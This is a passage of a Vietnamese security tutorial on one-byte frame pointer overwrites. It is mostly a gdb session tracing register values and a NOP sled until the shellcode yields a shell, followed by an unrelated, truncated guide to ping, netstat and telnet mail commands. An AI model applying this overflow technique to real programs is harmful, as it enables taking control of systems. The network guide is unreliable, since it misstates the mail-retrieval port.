0x804817f <func+75>: ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị pop ra khỏi stack. Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị ghi đè. (gdb) disassemble main Dump of assembler code for function main: 0x8048180 <main>: pushl %ebp 0x8048181 <main+1>: movl %esp,%ebp 0x8048183 <main+3>: cmpl $0x1,0x8(%ebp) 0x8048187 <main+7>: jg 0x80481a0 <main+32> 0x8048189 <main+9>: pushl $0x8058ad8 0x804818e <main+14>: call 0x80481b8 <_IO_printf> 0x8048193 <main+19>: addl $0x4,%esp 0x8048196 <main+22>: pushl $0xffffffff 0x8048198 <main+24>: call 0x804d598 <exit> 0x804819d <main+29>: addl $0x4,%esp 0x80481a0 <main+32>: movl 0xc(%ebp),%eax 0x80481a3 <main+35>: addl $0x4,%eax 0x80481a6 <main+38>: movl (%eax),%edx 0x80481a8 <main+40>: pushl %edx 0x80481a9 <main+41>: call 0x8048134 <func> 0x80481ae <main+46>: addl $0x4,%esp 0x80481b1 <main+49>: movl %ebp,%esp 0x80481b3 <main+51>: popl %ebp 0x80481b4 <main+52>: ret 0x80481b5 <main+53>: nop 0x80481b6 <main+54>: nop 0x80481b7 <main+55>: nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra. Hãy bắt đầu chạy chương trình. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp. Sau khi được pop ra khỏi stack, chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi nhập dùng làm tràn, 0x5c. Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng, sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4 byte. Cho ta giá trị cuối cùng là 0xbffffd60. Hãy xem có gì ở địa chỉ đó. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP ngay trước đoạn shellcode của chúng ta. Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74. Lúc này shellcode của chúng ta sẽ được thực thi. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ Kết luận Mặc dù kỹ thuật này khá thú vị, vẫn còn một số vấn đề chưa được giải quyết.Đổi hướng thực thi của một chương trình với chỉ một byte duy nhất của dữ liệu bị làm tràn chắc chắn là có thể làm được, nhưng với những điều kiện nào? Một vấn đề thực tế, tái tạo ngữ cảnh khai thác lỗi có thể là một công việc khó khăn trong một môi trường được bảo vệ hay tệ hơn là phải thực hiện trên máy từ xa. Chúnng đòi hỏi ta cần phải đoán chính xác kích thước stack của tiến trình muốn tấn công. Để giải quyết vấn đền này chúng ta thêm những gì cần thiết cho bộ đệm làm tràn của chúng ta ngay kế giá trị con trỏ nền bảo lưu, nghĩa là nó phải là biến được khai báo đầu tiên trong hàm. Không cần phải nói, sẽ cần phải lưu ý đến các giá trị đệm (padding). Và làm thế nào để tấn công trên các kiến trúc "big endian"? Chúng ta không thể có khả năng làm gì khi chỉ có thể ghi đè lên byte lớn nhất của con trỏ frame, trừ phi chúng ta có thể với được đến địa chỉ đã bị thay đổi. Kết luận nghe có vẻ bi đát từ tình huống gần như không thể khai thác được này. Mặc dù tôi sẽ rất ngạc nhiên khi nghe có ai đó đã áp dụng kỹ thuật này vào lỗi trong thực tế, có một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn cũng như không có chuyện lỗ hổng nhỏ hay lớn. Mọi lỗ hổng đều có thể khai thác được, tất cả những gì bạn cần là phải tìm ra cách làm như thế nào. ksvthdang ==== HcE GrOup ==== Tổng hợp các câu lênh cmd về Net Mỗi máy tính khi truy cập vào internet được cung cấp một địa chỉ để xác định nó trên mạng. Địa chỉ này là duy nhất và được gọi là địa chỉ IP. Địa chỉ IP được ghi lại dưới hai dạng 1.Tên . Ví dụ: http://www.yahoo.com 2.Số . Ví dụ: 66.218.71.198 Để lấy địa chỉ IP của một website các bạn gõ: ping địa chỉ website. Ví dụ: ping http://www.yahoo.com. Mạng LAN là một mạng nhỏ gồm một số máy tính nối nhau (trong các cơ quan, văn phòng). Để lấy địa chỉ IP của một máy trong mạng LAN các bằng hữu gõ: ping tên máy . Ví dụ: dplt. Hoặc gõ: tracert tên máy . Ví dụ: tracert dplt. Để biết máy tính của ta hiện đang có những kết nối nào, các bằng hữu gõ: netstat – a. Ở đây Lãng Tử giải thích một số khái niệm, ngoài ra các bằng hữu có thể tự tìm hiểu thêm. Proto: Phương thức kết nối. Local Address: Địa chỉ máy của bằng hữu. Foreign Address: Địa chỉ máy bằng hữu đang kết nối đến. State: Tình trạng: LISTENING – đang nghe. ESTABLISHED – có sự kết nối. Trojan là một loại virus người khác có thê cài vào máy của bằng hữu khi bằng hữu kết nối Internet và thông qua nó kiểm soát, lấy dữ liệu, thông tin của máy bằng hữu. Để kiểm tra máy của bằng hữu có bị nhiễm hay không bằng hữu có thể kết nối internet, sau đó đừng mở bất cứ một truy cập nào rồi thực hiện câu lênh netstat –a. Nếu bằng hữu thấy có sự kết nối với một địa chỉ khác thì có nghĩa là máy của bằng hữu đã bị nhiễm. Để lấy địa chỉ IP của các máy đang kết nối với bằng hữu, gõ: netstat –n. Telnet là một chương trình để giúp bằng hữu kết nối vào các máy khác. Ở đây Lãng Tử sẽ hướng dẫn các bạn dùng telnet để đọc thư và lấy thư ở những mail server hỗ trợ POP3. (Ví dụ như http://mail.ru ). Khi kết nối đến server bằng hữu cần có địa chỉ IP của server và một cổng (Port) nào đó. Ở đây nếu kiểm tra thư thì cổng mặc định là 110. Còn khi lấy thư thì cổng là 25. Để đọc thư : Gõ : telnet tên mail server 110. Ví dụ: telnet pop.mail.ru 110. Nhập tên: USER tên hộp thư . Ví dụ: USER dplt.